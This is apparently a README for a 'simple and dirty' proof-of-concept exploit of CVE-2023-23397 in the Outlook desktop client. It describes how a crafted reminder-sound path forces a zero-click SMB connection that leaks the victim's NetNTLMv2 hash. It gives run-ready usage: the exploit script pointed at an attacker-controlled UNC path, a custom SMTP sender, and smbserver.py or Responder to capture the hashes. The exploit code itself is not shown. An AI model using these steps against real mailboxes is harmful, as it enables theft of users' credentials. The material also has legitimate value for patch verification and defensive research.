CVE-2023-23397

Simple and dirty PoC of the CVE-2023-23397 vulnerability impacting the Outlook thick client.

Description

Outlook suffers from a lack of control over the user input that allows to configure the sound of a meeting and appointment reminder. Indeed, an attacker is able to force a victim to make a connection to its server without any manipulation from the user (zero click vulnerability).

An attacker exploiting this vulnerability retrieves a NetNTLMv2 digest based on the password of the trapped user through an SMB request. The request is triggered as soon as the mail arrives in the inbox.

What does the poc do?

1. Generated .msg payload.
2. Send it by email with custom SMTP server.

Usage

In one session :

python CVE-2023-23397.py

usage: CVE-2023-23397.py [-h] -p PATH
CVE-2023-23397.py: error: the following arguments are required: -p/--path

python CVE-2023-23397.py --path '\\yourip\'

In a second session (smbserver or responder as you want).

smbserver.py -smb2support SHARE .

Demo (manual poc)

Explanatory video (french speaking)

Original article

https://www.mdsec.co.uk/2023/03/exploiting-cve-2023-23397-microsoft-outlook-elevation-of-privilege-vulnerability/